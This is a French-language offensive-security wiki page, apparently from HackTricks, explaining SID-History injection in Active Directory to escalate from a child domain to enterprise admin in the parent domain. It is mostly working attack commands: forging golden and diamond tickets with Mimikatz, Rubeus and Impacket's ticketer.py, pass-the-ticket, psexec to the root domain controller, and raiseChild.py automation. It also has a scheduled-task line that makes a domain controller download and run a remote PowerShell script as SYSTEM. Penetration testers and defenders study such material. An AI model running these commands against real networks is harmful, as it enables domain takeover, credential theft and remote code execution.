SID-History Injection

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

Attaque par injection de l'historique SID

L'objectif de l'attaque par injection de l'historique SID est d'aider à la migration des utilisateurs entre les domaines tout en garantissant un accès continu aux ressources de l'ancien domaine. Cela est réalisé en incorporant l'identifiant de sécurité (SID) précédent de l'utilisateur dans l'historique SID de son nouveau compte. Notamment, ce processus peut être manipulé pour accorder un accès non autorisé en ajoutant le SID d'un groupe à haut privilège (tel que les administrateurs d'entreprise ou les administrateurs de domaine) du domaine parent à l'historique SID. Cette exploitation confère un accès à toutes les ressources dans le domaine parent.

Deux méthodes existent pour exécuter cette attaque : en créant un Golden Ticket ou un Diamond Ticket.

Pour identifier le SID du groupe "Administrateurs d'entreprise", il faut d'abord localiser le SID du domaine racine. Après l'identification, le SID du groupe Administrateurs d'entreprise peut être construit en ajoutant -519 au SID du domaine racine. Par exemple, si le SID du domaine racine est S-1-5-21-280534878-1496970234-700767426, le SID résultant pour le groupe "Administrateurs d'entreprise" serait S-1-5-21-280534878-1496970234-700767426-519.

Vous pouvez également utiliser les groupes Administrateurs de domaine, qui se terminent en 512.

Une autre façon de trouver le SID d'un groupe de l'autre domaine (par exemple "Administrateurs de domaine") est avec :

Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid

Ticket d'or (Mimikatz) avec KRBTGT-AES256

mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"

/user is the username to impersonate (could be anything)
/domain is the current domain.
/sid is the current domain SID.
/sids is the SID of the target group to add ourselves to.
/aes256 is the AES256 key of the current domain's krbtgt account.
--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option
/startoffset sets the start time of the ticket to 10 mins before the current time.
/endin sets the expiry date for the ticket to 60 mins.
/renewmax sets how long the ticket can be valid for if renewed.

# The previous command will generate a file called ticket.kirbi
# Just loading you can perform a dcsync attack agains the domain

Pour plus d'informations sur les tickets d'or, consultez :

Ticket Diamond (Rubeus + KRBTGT-AES256)

# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap

# Or a ptt with a golden ticket
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid>  /sids:<parent_domain_sid>-519 /user:Administrator /ptt

# You can use "Administrator" as username or any other string

Pour plus d'informations sur les tickets diamond, consultez :

.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
ls \\mcorp-dc.moneycorp.local\c$

Élevez-vous au niveau de DA ou d'administrateur d'entreprise en utilisant le hachage KRBTGT du domaine compromis:

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'

Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'

gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local

schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"

schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"

Avec les autorisations acquises lors de l'attaque, vous pouvez par exemple exécuter une attaque DCSync dans le nouveau domaine :

Depuis Linux

Manuel avec ticketer.py

# This is for an attack from child to root domain
# Get child domain SID
lookupsid.py <child_domain>/username@10.10.10.10 | grep "Domain SID"
# Get root domain SID
lookupsid.py <child_domain>/username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID"

# Generate golden ticket
ticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator

# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING
# JUST USE THE SAME USERNAME IN THE NEXT STEPS

# Load ticket
export KRB5CCNAME=hacker.ccache

# psexec in domain controller of root
psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10

Automatique en utilisant raiseChild.py

Il s'agit d'un script Impacket qui automatise l'escalade du domaine enfant au domaine parent. Le script nécessite :

  • Contrôleur de domaine cible

  • Informations d'identification pour un utilisateur administrateur dans le domaine enfant

Le flux est le suivant :

  • Obtient l'identifiant de sécurité (SID) du groupe Administrateurs de l'entreprise du domaine parent

  • Récupère le hachage du compte KRBTGT dans le domaine enfant

  • Crée un Golden Ticket

  • Se connecte au domaine parent

  • Récupère les informations d'identification du compte Administrateur dans le domaine parent

  • Si l'option target-exec est spécifiée, il s'authentifie sur le contrôleur de domaine du domaine parent via Psexec.

raiseChild.py -target-exec 10.10.10.10 <child_domain>/username

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

Last updated